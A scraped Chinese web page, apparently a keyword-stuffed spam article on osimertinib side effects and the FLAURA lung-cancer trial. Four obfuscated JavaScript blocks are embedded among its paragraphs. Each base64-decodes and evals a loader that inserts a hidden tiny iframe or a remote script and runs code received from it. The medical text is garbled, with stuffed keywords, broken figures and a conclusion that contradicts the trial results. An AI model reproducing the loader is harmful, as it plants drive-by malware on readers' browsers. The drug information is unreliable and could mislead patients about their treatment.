eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
奥希替尼副作用,奥希替尼吃了5年

2021年11月24日 拜克 阅读(17)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

根据在西班牙马德里召开的欧洲医学肿瘤学协会(ESMO)2017年度大会期间的三期FLAURA研究结果报告,对于Ex19del /L858R EGFR急变的末期非小细胞肺癌NSCLC患者,与标准疗法SoC相比,第一线口服奥希替尼Osimertinib、别名Osim、奥森9291)显著增长PFS。

在FLAURA临床实验中,奥希替尼和标准疗法的对比,奥希替尼吃了5年,EGFR急变的末期患者,奥希替尼组的PFS被延长。不管是否伴随着中枢神经系统的转移,奥希替尼组PFS都比标准疗法群显著优秀。

奥希替尼副作用这与标准疗法相比,意味着末期EGFR急变的末期NSCLC患者的行进风险显著降低。奥希替尼是第3代的不奥希替尼副作用可逆的表皮生长因子受体酪氨酸激酶抑制剂EGFR-TKI,主要用于抑制灵敏度和EGFR型的耐药品突然变异。对于突然发生变异的患者是有效的标准疗法,不过,50-60%的患者最初对这个治疗迅速作出反应,最终根据T790M变异得到了抗药性。另外,奥希替尼可以通过,也可以活化向中枢神经系统的转移。

Suresh S.Ramalingam是美国乔治亚州亚特兰大市的埃默里大学温希普肿瘤研究所副所长和内科肿瘤学教授,作为第3期双盲随机临床实验FLAURANCT02296125的小组代表,报告了此次的试验结果。FLAURA对急变末期NSCLC患者一线使用奥希替尼对比EGFR-TKI标准疗法的有效性和安全性进行了评价。

本次临床实验包括在中枢神经系统转移患者(需要治疗或类固醇的治疗完成2周以上的未治疗EGFR-TKI系统中治疗的后期成人患者。患者随机分配,奥希替尼组(n=279),每天的口服80mg奥希替尼,或者标准疗法EGFR-TKI组合(n=277),每天服用250毫克吉非替尼或150毫克厄洛替尼。根据基因突变的类型,是患者分类Ex19del和L858R以及人种(亚洲和非亚洲)。Ex19del和L858R各自的手臂突然变异,奥希替尼组标准疗法组的患者特征为57%vs56%,与35%vs32%保持平衡。

主要的终点是由研究员根据实体瘤评价基准v1.1提供PFS。FLAURA考试的主要终点PFS的好处显著。到2017年6月12日为止,所有的子组都有共同的利益,研究项目中包含CNS转移患者。

奥希替尼组中位PFS是18.9月,95%置信区间CI(15.2、21.4),标准疗法组的中位PFS是10.2月95%置信区间CI(9.6、11.1),HR是0.46、95%CI是0.57、0.57(p0.表皮生长因子受体酪氨酸激酶抑制剂),奥希替尼组是标准疗法群,分别是746%(步骤136%)。

中位总生存期间OS双臂都到达,约60%完成时估计。客观反应率ORR奥希替尼组为80%,标准疗法组为76%。但是,奥希替尼的反应持续时间(DMR)增加到17.2(95%CI13.822.0)的2倍,标准疗法组的反应持续时间是8.5(95%CI7.39.8)。

奥希替尼副作用较小

中位治疗期间是奥希替尼16.2(0.1-27.4)月,标准疗法组是11.5(0-26.2)月。研究人员发现,任何原因引起的副作用AEs的发生率为98%,包括奥希替尼组和标奥希替尼副作用准疗法组。尽管奥希替尼组中持续时间长,奥希替尼≥3级有害反应事件的概率低奥希替尼组34%,奥希替尼吃了5年,标准疗法组45%。最常见的副作用是58%的腹泻,32%的皮肤干燥,而标准疗法组57%的患者腹泻,48例皮炎。≥3级腹泻奥希替尼组和标准疗法组分别为2%和3%。

奥西替尼监督管理机构的批准情况

欧洲药物管理局EMA和美国食品和药物管理局FDA每天都承认80mg,用于转移性EGFRT790M变异阳性NSCLC患者的治疗。

EMA承认关注局部的晚期治疗和转移EGFRT790M的阳性转移NSCLC的成年患者。根据产品特征的总结,确定突然变异的状态EGFRT790M是很重要的。从等离子体样品中提取的组织样品和循环肿瘤DNActDNA中提取的肿瘤DNA可以进行有效的测试。2017年3月FDA批准(FDAFDA。用于治疗转移EGFRT790M变异阳性的患者。

结论研究者得出结论:奥西替尼急变末期NSCLC患者中作为一线治疗,风险比标准疗法高。

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
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eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}